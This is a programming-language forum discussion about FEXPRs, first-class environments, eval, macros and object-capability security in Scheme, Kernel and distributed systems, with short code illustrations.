When I'm developing a program, I'd rather not spend a lot of time working on things that are merely 'possible' that really should be 'easy'. I've dealt with that generic problem often enough when using thread-based concurrency models, mutexes, reentrancy issues for mutable collections on delete, and so on.
The goal should be to lower the barrier for development, not merely keep it from touching the ceiling.
Clearly I misunderstood you. Sorry, I'm sick to death of bogus security claims and requirements made by or on behalf of, eg, copyright holders or would-be law enforcers in widely distributed file-sharing applications like gnutella, or by or on behalf of censors or anti-spam crusaders in widely distributed applications such as HTTP, SMTP, or NNTP. Those are intractable problems as long as these things are not under any central control, and besides a central point of control would also be a central point of failure.
Finally, it's the nature of widely distributed systems that, much as we gripe about their problems, neither we nor any trustworthy central authority actually want them under any particular central authority's control.
When you started using the same "widely distributed" rubric I thought you were talking about the same kind of thing, but you're still talking about something which has particular owners, a central point of control, and non-peer nodes -- not about something I ever would have called widely distributed.
Anyway, you raise an interesting point for hosted applications, including those run on server farms or geographically distributed.
But, regardless, you will have to sandbox any procedure that is supplied by the client anyway, so you can kill it (rather than shut down your entire node) if it fails to halt or requests capabilities you're unwilling to give it.
With some careful design, it should be possible to rapidly prove via static analysis that any particular client-provided code is a member of a subset that makes no unauthorized accesses, so the code can be "safe" in that way (even if this subset doesn't include *all* code that makes no unauthorized accesses, it can be broad enough to be useful).
But unless the client is constrained to a very limited (non-Turing-complete) subset of the language, you can't easily prove that it halts in any reasonable time bound, so running client-provided code needs a sandbox anyway.
...
See recent discussion between David Barbour and Thomas Lord for opinions on sandboxing.
Looks like your second link is broken.
I'm sick to death of bogus security claims and requirements made by or on behalf of, eg, copyright holders or would-be law enforcers [...] When you started using the same "widely distributed" rubric I thought you were talking about the same kind of thing
I would not consider the distributed system 'secure' if law-enforcers and copyright holders had a special key. It would be far too vulnerable to insider attack.
you're still talking about something which has particular owners, a central point of control, and non-peer nodes -- not about something I ever would have called widely distributed.
I'm not talking about this, either!
particular owners...
First, 'ownership' itself has an unclear meaning when applied to the interactions between services. To grasp notion, ask yourself: who 'owns' a TCP connection? Object capability discipline strongly encourages one to place most code into such interactions. Doing so greatly simplifies reasoning about security, among other properties. New services grow out of such interactions... and third parties can start interacting with these services, totally ignorant of how they were constructed... thus, continuing to muddy the ownership issues.
Second, between the capability model, use of sealers/unsealers, and distribution of transparent (= non-revocable) data, it is entirely possible to express a wide variety of ownership patterns in the code. One can even describe such things as transfer of ownership, exclusive rights, shared rights, etc.
Thus, while I can express a distributed service with a 'particular owner', I am by no means required to do so.
The only components with 'clear' ownership in a widely distributed programming system are the actuators (i.e. the brakes on my car, the traffic lights, my monitor) and the 'unique' (not especially pervasive) sensors. And these only because they possess physical counterparts, and a lot of existing law surrounds such ownership.
a central point of control
I'm curious as to how you gained the impression I was talking about a central point of control.
Control of and access to service is easily distributed (that's what capabilities do). Of course, you'd typically want to distribute different controls to different groups of users.
There is no particular node you can shut down to stop a service - unless, of course, that service happens to be a sensor, actuator, or dependent upon one. Hosting of most services may fully or partially be distributed.
and non-peer nodes
It is unclear to me what you mean.
If you mean that not all nodes receive equal degrees of trust, that is true. But trust is not a property of a node! It is a relationship between a node and a developer. Given a million developers, you'll certainly see some sets of nodes that are very widely trusted and thus serve as a 'trusted backbone'. But there is nothing special about those nodes. What is 'special' is the shared confidence of disparate developers in a common third party.
If you mean that not all nodes have equal capabilities, that is certainly true, but is rather trivial. For example, there is no other monitor identical - in space, and time - to my own.
If you were thinking something else, I ask you to clarify.
you will have to sandbox any procedure that is supplied by the client anyway, so you can kill it (rather than shut down your entire node) if it fails to halt [...] unless the client is constrained to a very limited (non-Turing-complete) subset of the language, you can't easily prove that it halts in any reasonable time bound, so running client-provided code needs a sandbox anyway
I agree that you'll want to support process accounting. I do not see why a sandbox is appropriate for achieving this. This seems a case of asking for a child's toy shovel when what you really want is a six-foot hole-in-the-ground for misbehaving processes.
What I'd like to see is good support for pay-as-you-play. Even if that payment is in meaningless tokens from a purse, it would allow useful external control over the process behavior. If the tokens were truly redeemable for other resources, then both out-of-control computes and Denial of Service attacks could become self-regulating.
But process accounting is one of those problems that I haven't yet integrated cleanly into the rest of my language. (OTOH, I do make useful guarantees about termination up to message-passing cycles.)
you will have to sandbox any procedure that is supplied by the client anyway, so you can kill it if it requests capabilities you're unwilling to give it
The Object capability discipline and design patterns involves, to a large degree, doing away with "requests" for capabilities - aka, the ability to turn strings into power. And for very good reasons:
There are related patterns (including match-maker, factory, dependency injection, and powerbox). But match-makers and factories and dependency-injection aren't about security (though they can be composed securely). And a powerbox also suffers above properties, though one might hope for a 'user' to understand the context for a request, so powerbox is used in UI.
But it is true that, for distributed code, you'll sometimes want to access 'local' resources. For example, suppose access to 'time' is not a language primitive (it isn't in my language). It would be rather inconvenient - for performance, disruption-tolerance, and resilience - if one had to use a capability half-way around the world just to access the time on a particular remote node.
To handle this issue, most languages that recognize distribution also recognize the unum pattern or something similar. Essentially, a capability (to a specific clock, on a particular node, half-way around the world) is distributed along with an annotation that declares, "hey! I'm just a clock! I don't mind if you implement me locally! Really, I'd prefer it if you do!". The host, then, can implement the clock locally... or even ask a neighboring node. This pattern applies to regular in-language resources, pervasive sensors, and common FFI services. (A slight tweak and this is runtime-plugin-extensible and works for purely local stuff, too.)
Also, in case it was unclear to you: in an object-capability model, authority is not distributed based on locality.
The user story is more like: "I gave mozilla.org temporary/limited access to my graphics, mouse, and keyboard. The first time I did this, they sent a bunch of code to live 'nearby' this capability, to help shape the display into windows and buttons and text. The second time I did this, that code was still cached locally, so it popped right up."
Since authority is orthogonal to location, and since capabilities are never 'refused', I say: for object capability systems, there are no sandboxes.
it should be possible to rapidly prove via static analysis that any particular client-provided code is a member of a subset that makes no unauthorized accesses
Indeed. In object capability languages, any code whatsoever meets that criterion. Analysis complete. It's rather convenient.
The beauty of object capability model is that the ability to make a request is proof that you are authorized to do so.
In any publicly distributed system with mobile code, encapsulation as required by security concerns seems impossible.
Encapsulation of any migrating code is certainly impossible to ensure (absent homomorphic encryption, or TPM of some sort). Capability systems don't rely on encapsulation of migrating code though. Instead, all objects are tied to known hosts and secure remote references and message pipelining provide the necessary distribution mechanisms (generally via futures/promises, as in E), and persistence and replication provide the necessary fault tolerance. Encapsulation safety properties are thus ensured, and can be relied upon for reasoning about security.
Capability systems don't rely on encapsulation of migrating code though. Instead, all objects are tied to known hosts and secure remote references and message pipelining provide the necessary distribution mechanisms [...]
I don't think the 'tied down' or 'known hosts' or 'message pipelining' bits are true for 'Capability systems' in general.
Of course, but to maintain encapsulation any migration must happen only between hosts in the same TCB. Message pipelining is important for any high-performance distributed messaging, though not strictly necessary.
to maintain encapsulation any migration must happen only between hosts in the same TCB
For a security problem to exist, there must be both a 'vulnerability' and a 'threat'. Thus, allowing vulnerability is okay if you can avoid the threat. If the goal is to maintain code integrity and encapsulation, you do not need to stick with to a TCB. It is sufficient to distribute to nodes that have no self-interest in violating that integrity.
This mostly means you can't distribute information or authorities (including reply authority) among nodes that will actually care. A lot of code contains no special information or authorities. Though you are certainly free to do a step better and distribute such among nodes that have a reputation to maintain (i.e. as part of a market of CPU, Memory, and Network resources).
Also, 'the same TCB' suggests you consider the concept to be unique to any given host and common to all the code it hosts. I've spent a lot of time thinking about how to help automate correct code-distribution decisions for tierless programming, and one of my insights was that nodes can be certified for multiple security domains, and that code can be authorized for multiple security domains. Also, one can find user-stories where different components of the same service are specified for different security domains.
If the goal is to maintain code integrity and encapsulation, you do not need to stick with to a TCB. It is sufficient to distribute to nodes that have no self-interest in violating that integrity.
Sure, I was being conservative. You can cut it more finely, but you're more likely to make a mistake. I'd be more comfortable with those finer distinctions if you could express such properties for a tool or analysis to verify, though I'm not sure how to express high-level knowledge of "incentives". Sounds like an interesting research project. :-)
Also, 'the same TCB' suggests you consider the concept to be unique to any given host and common to all the code it hosts.
I don't mean host in the machine sense, I mean it in the E/Vat sense, ie. a local domain of shared vulnerability.
dmbarbour, your points about security requirements for certain kinds of distributed computing about which might speculate are well taken but miss some key points about the context in which FEXPRs came to be discussed for Scheme.
To paraphrase the "Working Group 1" charter, some of the goals of the current effort include:
That isn't an exhaustive list of the goals.
Your project of language innovation for massive distributed systems looks from my perspective like it is a target application of the ideal WG1 Scheme. That is, WG1 Scheme would succeed, in this instance, if you found that it was a good environment in which to at least prototype your language. Thereafter you might or might not discover it convenient to retain the Scheme foundation: who knows. But if WG1 Scheme were already here and had turned out along the lines I envisioned for it, then we would have done our job well if you thought "Aha, this is a nice kit for at least quickly trying out my ideas."
That said, I'm a bit surprised that other virtues of a tiny Scheme-like language don't have more appeal to you in a massively distributed context. In particular, a tiny Scheme-like language admits very tiny, low-latency, memory-efficient implementations and yet is known to be a very flexible tool for specifying computations whose programs are relatively small. Having Schemes at every "node" seems like a potentially good strategy for your goals, at least to me.
your points [...] are well taken but miss some key points about the context in which FEXPRs came to be discussed for Scheme
I don't believe a discussion about a system feature - such as first-class environments or FEXPRs - is complete until it covers a wide variety of contexts. That includes interaction or interference with other potential features (especially those that interest me ;-). It isn't that I missed the context assumed at the start of this discussion, so much as I chose to not be constrained by it.
Your project of language innovation for massive distributed systems looks from my perspective like it is a target application of the ideal WG1 Scheme. [...] I'm a bit surprised that other virtues of a tiny Scheme-like language don't have more appeal to you in a massively distributed context. [...] Having Schemes at every "node" seems like a potentially good strategy for your goals, at least to me.
I did, in fact, start with a 'tiny Scheme-like language' when I first became enamored with massively distributed systems, back in 2003. I even treated it as an application, as it did not occur to me until a couple years later that concerns for security, efficient communications, distribution, persistence, and expression (language), were so tightly integrated.
My Scheme-based design fell to scalability years before I was focusing attention on security.
My goal, even back in 2003, was "Internet-scale", which was given a hand-wavy estimate of "millions of developers and billions of nodes". I could not (can not) fully grok that scale. Fortunately, I do not need to: I can look at the Internet, and study known problems that crop up in distributed systems programming. These include: node failures are regular, disruptions are not uncommon and tend to segregate subnets, node failure cannot be readily distinguished from temporary disruption, the slashdot effect is common and looks an awful lot like distributed denial of service, developers have different interests that may be adversarial, nodes may be mobile, and nodes are heterogeneous but rarely unique (even for sensors and effectors, such as access to a particular printer, authority tends to belong to a subset of nodes). I'm sure I could go on.
In this environment, a developer must reason about security (authority, information assurance), partial-failure, graceful degradation, resilience (self-healing, redundancy, persistence), disruption tolerance, progress and concurrency (delay, termination, race-conditions, deadlock, livelock, non-determinism), maintenance and upgrade, integration, validation, safety, performance (efficiency, utilization, load-balancing, latencies, real-time or embedded), resource accounting, and even packaging, marketing, licensing. (Code-distribution is useful for at least six of these reasons: disruption tolerance, load-balancing, redundancy, latency, bandwidth efficiency, and irrevocable licensing.) Even a distributed systems expert would have a terrible time reconciling all of these issues without support, and only a tiny minority of "millions of developers" will be distributed systems experts. I conclude that the system must not only support reasoning, but must also reduce need for such reasoning in nearly all cases... i.e. by automating correct distribution of code; by simplifying integration, validation, upgrade; by guiding developers towards a correct solution as the path-of-least-resistance. Lowering the barriers to distributed development is a prerequisite for scalable composition in open distributed systems. Only fools will open a distributed system if it is easy for themselves and others to get things wrong.
That is where Scheme fails. Several of Scheme's lowest-level decisions - including strict evaluation, side-effects in arbitrary functions, and widespread support for mutations (of structured data and environment variables) - do much to hinder reasoning about progress, concurrency, security, and where failure may occur, in addition to making code-distribution very inefficient (because all mutable state must be maintained across replicas).
If I continued with Scheme, I would have needed to change pretty much everything except the parentheses. And, to be honest, I've never been too enamored of those parentheses.
That said, I have taken inspiration from Scheme (among other languages, such as Charity and Oz). Similarly to Scheme's goals, I avoid overlap between language primitives, such that I can rightfully assert 'language minimalism' - that I cannot remove any primitive without losing something of critical importance to a large number of use-cases. I'll refrain from discussing exactly which primitives I'm favoring and why (as that discussion would continue all week).
A big difference between Scheme's philosophies and my own, though, is is at the concepts of 'program' and 'module'. I consider 'program' to be a continuous concept, both in time and space. There is, in my philosophy, no such thing as a useful 'relatively small program', because every useful program involves something very large - external clients and services, markets and discovery, maintenance life-cycles, sensors and actuators - the whole world, present and future. While there are programs that require relatively little 'new' code, I measure program size by including every dependency - including services and libraries, servers and clients, the language runtime and link-loader, the Operating System and its drivers, the installation framework, the market integration (even including PayPal, if you use it), and so on. I believe that this global scale view is important. We too easily lose site of what our decisions cost the forest while we focus on the trees. We too easily claim victory for optimizing in-the-small even at cost to performance in-the-large.
After studying distributed systems for a while, 'applications', 'plugins', 'third-party modules' and such all start looking like inefficient, untrustworthy, difficult-to-upgrade, difficult-to-validate, difficult-to-manage-and-configure, and otherwise horribly sado-masochistic mechanisms for what should be relatively simple issues of code distribution.
You speak of "tiny, low-latency, memory-efficient implementations" for Scheme. This is certainly true in some relative sense (compared to other, similar products). But, to help elucidate my position, I will claim that no such thing exists... not if you measure efficiency, latency, and memory costs on a more global scale. Include the time and bandwidth for downloading the code. Include the total space on hard-disks globally. Include the inefficiencies of OS-level process separation - process startup, process shutdown, and page sizes. Include various forms of overhead: context-switches, serialization, parsing, encryption, and decryption for messages passed between processes on the same machine. Include life-cycle costs of maintenance, upgrade, and eventual disposal. Include the human costs and latencies for each installation.
When we consider the global scale, the web applications today often perform at least as well as anything we download and run locally. My goal is to do much better than that, and not only for applications. There is more than enough waste - among both users and developers - that could be avoided.
With regard to security in Kernel of one module against accidentally-allowed compromise by another module, there are some details that I consider to be not yet as fully resolved as I would like them to be. However, based on... well, ultimately, an intuitive sense of the ebb and flow of the Kernel design, developed from being immersed in it for years... I believe that these details are just that: details, things that can be dealt with.
Something that I suspect may be an important part of the answers (the answers that I don't have all of yet) is standard applicative apply, which has non-robust library derivation
($define! apply
($lambda (appv arg . opt)
(eval (cons (unwrap appv) arg)
($if (null? opt) (make-environment) (car opt)))))
If the optional environment argument isn't provided to apply, the call is made in a freshly created empty environment. If the combiner argument isn't applicative, it isn't called, because an error occurs when apply tries to unwrap it. And because apply is itself applicative, the object that gets passed to the unwrapped combiner is the result of an evaluation. So a call to a combiner by means of apply is pretty safe. To illustrate, here's a classic example of what can go wrong when using fexprs.
($define! compose ($lambda (f g) ($lambda (x) (f (g x)))))
There are two different problems here. Assuming that we have no control over what f and g are,
Both of these problems would go away if one wrote compose using apply, which would both guarantee argument evaluation and prevent environment capture. Interestingly, it would also naturally favor a slightly different common behavior of compose,
($define! compose ($lambda (f g) ($lambda x (apply f (apply g x)))))
although one could get the earlier common behavior by writing "(apply f (list (apply g x)))". The trouble here is that it's still way too easy to accidentally write the unsafe version of compose. I've been aware of this problem since the first years of the Kernel design, of course, and while some possible approaches have come to mind, nothing has felt so obviously "right" that I've been moved to adopt it. I'm "waiting for insight" on this (rather as Ray reports doing), and meanwhile there is no shortage of other things about fexprs to occupy my time while I'm waiting.
BTW, it's worth noting that a first-class environment in Kernel is, in essence, a capability for read/write access to a local binding frame. Just as a first-class continuation is a sort of control-transfer capability.
I find that even if these "new-style fexprs" and FCEs we have been discussing are somewhat uncharted territory (e.g. compilation), they make thinking about the issues related to macros, phasing, and hygiene much more tractable.
For example, one of my insights gained from thinking in terms of fexprs was, that phase separation, as is currently a topic in Scheme, is simply an optimization: if the compiler can compile a given expression ahead of time – great! This includes doubly, or N times evaluating a piece of code: once at compile-time (once at the compile-time of the first compile-time, ...), once at runtime.
With fexprs, it becomes clearer that macros are related to inlined functions. With inlined functions it is self-evident that alpha-renaming (i.e. hygiene) is a good and necessary thing. The same thing holds for macros. Furthermore, a fexpr's semantics are, as you have stressed runtime semantics: you don't say what you want done (as with current macros), you simply do it. Ahead of time compilation seems thusly to be only possible, when the fexpr's body is amenable to a kind of offline, partial evaluation. However, the nice thing about fexpr semantics is: if you can't run it at compile-time, you simply run it at runtime (with a warning, possibly).
You can peek inside operands that were developed in non-local modules, and thus introduce behaviors dependent on how concepts are expressed non-locally. For composition, this is bad...
The point of embedded DSLs (which is kinda the point of macros) is exactly to introduce and enable such non-local language uses, i.e. the non-local expression of concepts defined in the EDSL.
Whether that's bad for composition per se is a different question. I can imagine that combining a very complicated and esoteric EDSL (for example, a codewalker that introduces nondeterminism, like SCREAMER, or a control-flow manipulating macro suite such as SERIES) with another EDSL could be problematic.
However, many macro (and EDSL) uses are indeed very local affairs, that introduce little if no trouble whatsoever for composition. (Think defclass for example, which is a prominent macro, that's merely cosmetics for creating or updating a class object.)
defclass
My assertion applies specifically to "how concepts are expressed non-locally", not "which concepts are expressed non-locally. By peeking inside operands, for example, an operative can distinguish between whether '1+1' or '2' was used in some external component.
If the result of utilizing an EDSL is a bunch of domain data that is intended for external use, then so be it. Composition issues only arise when the consumer of data can poke around and discover how a non-local component was manufacturing that data.
Since it seems I was unclear: local syntax extensions, including ye' traditional macros (even the non-hygienic ones), do not suffer this problem. Anything you are using macros for today - excepting compile-time side-effects - you could continue doing without raising composition and modularity issues. Also, 'local syntax extensions' can still be subject to modular export and import. The 'local' refers to how their application affects the rest of the program, not to the distance between definition and application..
Good point. It is not totally exact, though, I think. For example, in all my Java projects I created "domain-specific types, domain-specific domain models, domain-specific queries". But I still have to write out the boilerplate every time. In fact, when I look at the macro expansions of Lisp macros, they often look exactly like the code that I would have to write in Java by hand. I wouldn't call that finishing touch. "Mere" syntactic abstraction enables a qualitatively better programming experience.
Steven, I don't see the point in doubting the need for a language device that (1) has been in daily heavy (and happy) use by many advanced programmers for decades (2) has demonstrably enabled Lisp to be at the forefront of dynamic languages for decades (3) is explained, analysed, and documented in a huge body of research papers, programming languages, and folklore.
You may well not like macros, and there are indeed many valid arguments against them, but doubting their need without proposing an alternative that replaces all the documented use cases of macros is kinda pointless, IMO. And "a little syntactic sugar for arbitrary monads" for example, is not one such alternative, in the context of Lisp, as this would require a huge reimagining and reengineering of core Lisp, something it has withstood for decades, happily.
Arguing against macros in a Lisp context is a bit like telling C programmers to stop using pointers.
I think we misunderstood each other, I just said that I don't see the need for macros in a "modern language", and I deliberately exclude Lisp here :-)
WAIT!!! Don't start typing an angry response yet. I totally acknowledge what Lisp has done for programming and that it is still superior to, say, Java. But projects like "Kernel" show that there is still much room for experimentation and improvement in the Lisp arena.
I am currently in the process of developing my own dynamically-typed programming language Babel-17. Despite being dynamically-typed, Babel-17 is closer in spirit to Standard ML and Scala than Lisp. There won't be macros in Babel-17, and probably fexprs won't be a part of it, either. But I am definitely interested in the applications of macros and fexprs and how to provide language features for the important ones.
What exactly is modern about SML or Scala vis-a-vis Common Lisp, when you take static typechecking out of the equation?
Update: for SML I can see higher-order modules, and I don't know if Scala has an advanced module system.
Scala is actually all about modules, both in the small and in the large.
What I like about Scala is that both objects and functions are taken seriously. The Lisp object system might be powerful, but it makes its generalizations in the wrong places. I don't really need multi-methods, but without encapsulation objects are much less interesting (because they cannot act as modules, then).
I think what I mean by modern is that the language tries to come up with a well-designed tension between the freedom that the programmer is given, and the guarantees that the language gives (to the programmer and the interpreter/compiler). With Lisp, I don't feel that tension, it is all on the freedom side.
I agree that Common Lisp and most Scheme implementations are not exploring new ground in programming languages. PLT Scheme is an exception. It has higher order modules, an interoperable statically typed variant, and a whole heap more all built on probably the world's most advanced macro system; the base language is just functions and structures. And yes, it does have strong abstraction boundaries.
Thanks for the reference of PLT Scheme, I knew it was around, but never really looked at it. Its ideas of modules and objects (or structs) look pretty similar to what I want to put into Babel-17. Also Clojure has a lot of aspects that I really like.
The one serious reason I will never become a fan of Lisp is its syntax.
Although it is very uniform with its incredible amount of brackets, it is uniform in a way that is good for computers, not for me (and many other people; I am sure that there are people that love this kind of syntax; these are usually the people who spot in a lecture about logic the slightest typo immediately).
My own interest in the evolution of Scheme is the elimination of eval and working toward a language predicated only on static compilation to machine code. Also, hopefully a simple static code analysis model, separate compilation and perhaps a whole program compilation leading only to more potential optimizations.
The interpretative nature of Scheme is unimportant to me, whether it leads to a more minimal core language or not. Given the constraints of static compilation, yes, a minimal core is still a good ideal to shoot for.
I guess I am unclear on whether a first class environments language feature is still open to reasonable static compilation of Scheme programs?
Are any other folks out there seriously working on an "interpretation free" Scheme definition, free of eval and other runtime-only language semantics?
As far as I can see, FEXPR's are impossible and first-class environments are in principle useless unless you have eval in the language, and also still have some representation of the abstract syntax tree (which in Lisps is effectively the source code) in memory at runtime.
It sounds like Scheme reached its pinnacle of usefulness to you with the R4RS/IEEE1178 standards; those languages were effectively compilable to pure machine code. That's also a valid vision of the future of Scheme; just not the path that the scheme reports actually travelled. There's a significant and worthy niche in the design space for a statically compiled lisp drastically simpler than CommonLisp, and I encourage you to use, maintain, or create one if that's your passion.
This is just one of the issues on which the scheme community was (and, I suppose, is) divided. I remember 'eval' and other runtime constructs being a huge deal in the R5RS discussions. R5RS was a major divergence from the path of being a statically compilable language. There was a lot of heated discussion about the dynamic features, but almost no one (except Jeffrey Mark Siskind) then took the really hard line of just flatly refusing the new standard, and the community did not have a schism at that time of the kind that R6RS caused.
Siskind had a very good reason for not implementing the dynamic features of R5RS; he is the author of Stalin, which is possibly the most advanced static optimizing compiler ever made. It's long compile times are not to my taste, but it produces blazing fast optimized code and in fact, it sounds like Stalin is exactly the system you want.
further reading at:
Downloadable Gzipped Tarball, including source and documentation, at:
Stalin hasn't been updated in some time; I have the impression that Siskind considers it "finished" and considers that there is nothing more to do. I think I remember that some folks intended to fork it via a sourceforge project, but I haven't heard anything about that since it happened.
... but uses the conventions of Common Lisp; it's very close to being a Common Lisp subset. I have a back-burner project to write an ISLisp compiler; the first step will be an interpreter, because ISLisp's macros are DEFMACROs, so you need an interpreter at compile time but not at run time!
Information at .
A good rule of thumb, I think, is Dyvbig's notion that esoteric features should "pay their own way" - that is, they are admissible so long as they don't "tax" the performance of code which doesn't use them.
Suppose that you had a fully static version of Scheme with just syntax-case macros. And you have (and can you can find extant in the real world) highly optimizing compilers for this.
Now, atop that, you can write a bunch of macros which define "(the-environment)" to, in every context, return a procedure that let's yet set or get arbitrary variables from the lexical environment by name. You'll have to write macros to replace LAMBDA, LET, and so forth - and these macros get quite tedious - but you can do it. "(the-environment)" expands into something like "(lambda (var-name . optional-value) (case var-name ((x) ...) ...))" For sake of discussion we can say that ((the-environment) 'x) returns the value of X and ((the-environment) 'x 42) sets X.
((the-environment) 'x)
((the-environment) 'x 42)
All of the code you write that does not use (the-environment) will compile just as it ever did, assuming the compiler is smart enough to eliminate the dead code definitions of the-environment. Any code that does use the-environment may very well take a modest performance hit, depending on how you use the reified environment. If you write ((the-environment) 'x 3) probably the compiler will trivially expand the macro and ultimately reduce this to an efficient (set! x 3) but if you let the reified environment escape or if you give it a dynamically computed variable name -- now your variables all have to be boxed somewhere and this limits the available optimizations. "Pay as you go."
the-environment
((the-environment) 'x 3)
(set! x 3)
How's about EVAL? Well, worst case, screw it! Just type in a variation on the meta-circular interpreter you find in SICP but make it use your new conveniently reified environments and you've got an EVAL that works - but that is slow compared to statically compiled code. Pay as you go, again, and extant and historic compiler-based implementations take this approach and yield a useful EVAL. It's useful enough for any undergrad course in Scheme. It's useful enough for an extension language in an editor. Etc. Many, many optimizations are available from there but the ground floor is already useful and "all" you did is write an optimizing compiler, and pass it a meta-circular evaluator written in Scheme.
You will have trouble coherently explicating what exactly you mean by "free of eval and other runtime-only language semantics". One understands that you mean to minimize what exactly a compiler has to deal with -- the informal meaning is clear and sound -- but by the time you've got an optimizing Scheme compiler along those lines then the "run-time only" parts can be added via a library.
In the interzone of neutral territory where compiler fans and interpreter fans meet - the issue of FEXPRs, EVAL, and FCEs as it relates to language specification comes down to economy of expression in defining the overall language. I argue that it is more expositionally economic to define the semantics of your highly optimizable subset of the overall language by starting with a core that includes FEXPRs, EVAL, and FCEs. The "great divide" between an interpreted and an optimized compiled version of Scheme is greatly exaggerated except in just one sense: programmers concerned with performance have to be mindful of when they are invoking features that the compiler can't do much with and it should be easy to avoid doing so and the optimizable subset of the language should be quite useful on its own.
Javascript's eval is specified to operate within the lexical (and dynamic) context of its invocation, at least in ES3. ES5 appears to be changing this to be more static. I am having a tough time digging up links about this, though.
Edit: Withdrawn. Addressed by Mr. Lord higher in the thread.
If you write ((the-environment) 'x 3) probably the compiler will trivially expand the macro and ultimately reduce this to an efficient (set! x 3)
Why would this be compiled into (set! x 3) instead of (define x 3) with shadowing semantics? To my naive understanding, the former corresponds to value mutation and the latter corresponds to environmental mutation.
(define x 3)
Say you have a fexpr constructed by a call to f, its parameter p and its environment, e. Would calling (e 'x 42) only affect the binding of x within p akin to let, or would it also affect operations following the call to f akin to define?
f
p
e
(e 'x 42)
x
let
define
[why would] ((the-environment 'x 3) [mean] (set! x 3) [rather than] (define x 3)
((the-environment 'x 3)
There are a few reasons and, also, if you want define you can obtain it from this core Scheme:
Unproblematic Semantics: If by default environments permit only referencing and setting extant variables, their semantics is both useful and simple. Consider code like this:
(lambda (a)
(lambda (b)
... (the-environment) ...))
This is (essentially) equivalent to:
(lambda (a)
(lambda (b)
...
(lambda (var . opt-value)
(case
((b) (if (null? opt-value)
b
(set! b (car opt-value))))
((a) (if (null? opt-value)
a
(set! a (car opt-value))))
[... etc for other lexically apparent variables ...]
(else [... signal an error ...])))
...))
There are just no semantic surprises there. The procedure returned by (the-environment) can escape and be used any which way from tuesday and nothing will happen that isn't easily understandable in terms of traditional, fexperless Scheme. If that environment procedure does escape (or is used in certain ways) then it's very clear that some potential compiler optimizations are thwarted but that's OK (from my perspective) because I assume we've agreed that first class environments should pay their own way.
In contrast, let's hypothesize that environments by default somehow allow define. Then consider this procedure:
((lambda (a)
(let ((b 42))
(let ((w (lambda () a))
(x (the-environment))
(y (lambda () a))
(z (lambda () q)))
(values w x y z))))
13)
That returns four values, each a procedure. I'll call them by their internal names (w, x, y, and z). Suppose I call w - I'd expect 13. Same thing if I call y. It's unclear the definition of z should be accepted in the first place but supposing it does, and I call it, I should get an unbound variable error. Then, using the environment x, I do the equivalent of (define a 'hrm) and also (define q 'ha). Now, what should calling w, y, and z do?
(define a 'hrm)
(define q 'ha)
I don't know any one right and obviously good and useful answer to the question. So, I omit that capability by default. (Your mileage may vary. Kernel specifically provides an answer to those questions.)
Don't Need it (for Scheme): Internal defines in standard Scheme are (a) quite restricted in use and (b) not FEXPRs. In particular, internal defines in Scheme are not themselves FEXPRs but, rather, are in every case a syntactic feature of some enclosing FEXPR. For example, if I write (lambda (a) (define b ...) ...) the define is a clause of the lambda - not a stand-alone thing. Scheme restricts where internal defines can be used and makes them a syntactic property of an enclosing form precisely to avoid weird semantic questions similar to the one I illustrated above (with the "w,x,y,z" example).
(lambda (a) (define b ...) ...)
lambda
You can have it anyway: There is a great deal of flexibility that comes with giving environments and procedures procedural interfaces: it's easy to define "non-standard" environments and to compose standard and non-standard environments in various ways. As one example that's actually important to the "tiny core Scheme" I'm describing, if you want extensible, mutable top-level environments (including the possibility of modules) you do that by defining non-standard environments, extending EVAL, and taking over the reading and interpretation of subsequent source (e.g., with a REPL although you can also provide environments that look more like how a static compiler is usually expected to treat things).
Would calling (e 'x 42) only affect the binding of x within p akin to let, or would it also affect operations following the call to f akin to define?
Neither. It would be as if a (set! x 42) were executed at the position where f is called. The effect of the set! is apparent even after f returns - but it is not like define. If you wanted to specify a semantics for (dynamic invocations of) define in this context you could do it, although the caller would have to agree to let you by providing you with a non-standard environment.
(set! x 42)
set!
Have you looked at Typed Scheme? It goes a long way to making useful optimisation simple. In the last few months it has become complete enough to be used for general hacking with only the occasional bit of pain.
It's a loverly language in principle. I've made attempts in the past to use it in the intermediate representation and code analysis/transformation for my ongoing "toy" compiler experiment (an ML'ish language with OO features, co-routines, representation optimizations, etc.), but I hit "potholes" along that road.
Just following the email list, many issues have been resolved or clarified (integrating typed scheme with vectors, pattern matching, comprehensions, blah blah), and I hope to transform my entire code base (minus PLT Scheme's lex/yacc) to typed scheme.
In another thread (), John Shutt wrote:
Granted, I've glossed over the major obstacles to fexprs. (There are, literally, a dissertation's worth of them.) Dynamic scope isn't the only Lisp feature you have to avoid in order to make fexprs stable enough to use, and other such features are ubiquitous in modern Lisps.
Okay.... Dynamic scope and lack of first-class environments are two of the first things one must give up to make fexpr's work. John, I've heard you say you're giving up quote as well, and I decided that it needed different semantics, so arguably I have also given it up.
Which other features are so problematic that their absence becomes necessary in a fexpr-enabled lisp with first-class environments?
In retrospect, that passage make it sound a little as if the major obstacles to fexprs were all features that they don't mix well with. The biggest challenge by intellectual weight is developing the theory of fexprs (and, even worse, figuring out how to explain why they have a nontrivial theory; the more worthwhile an idea is, I think, the more likely it is to have a beautiful, easily understandable explanation that is much harder to discover than the idea itself was — but I digress :-). And then there's the challenge of developing a good programming style for working with fexprs.
Features that destabilize fexprs. We've already mentioned dynamic scope (the obvious one), and quotation. I think I had two others in mind, one of which is unclear. The unclear one is macros. It's unclear because (1) macros, at least of the ordinary sort, can be converted cleanly into fexprs; so if there's something that really clashes with fexprs it has to be unconverted macros, either ordinary or perhaps otherwise; and (2) I really haven't investigated the use of unconverted macros together with fexprs, so I don't have any specific illustrations to back up my intuition on this.
The clear-cut example, I somewhat vaguely alluded to above: non-local set-bang. Scheme's set! can mutate any binding that it can see, making it impossible to allow clients to see an environment without also allowing them to corrupt it. (In other words, no read capability without write capability.) The classic illustration is the Kernel ground environment, which exhibits all the standard bindings of Kernel, but no standard feature mutates it and there is no way for the programmer to acquire it as a first-class object. A standard environment is, by definition, a child of the ground environment (with no local bindings). Standard environments are cheap to create; the standard make-kernel-standard-environment applicative could be derived by evaluating the following definition in the ground environment (which the programmer isn't allowed to do, of course):
($define! make-kernel-standard-environment ($lambda () (get-current-environment)))
If it were possible to mutate all visible bindings, then it wouldn't be safe to have a single ground environment like this, because its bindings would never be provably stable, and nothing depending on them could be optimized for essentially the same reason that dynamically scoped combiners can't be optimized (in the presence of fexprs). The only way to provide stable standard bindings would then be to make wholesale clones of the pristine standard environment — which, as you and Thomas Lord were remarking earlier, has rather scary performance implications.
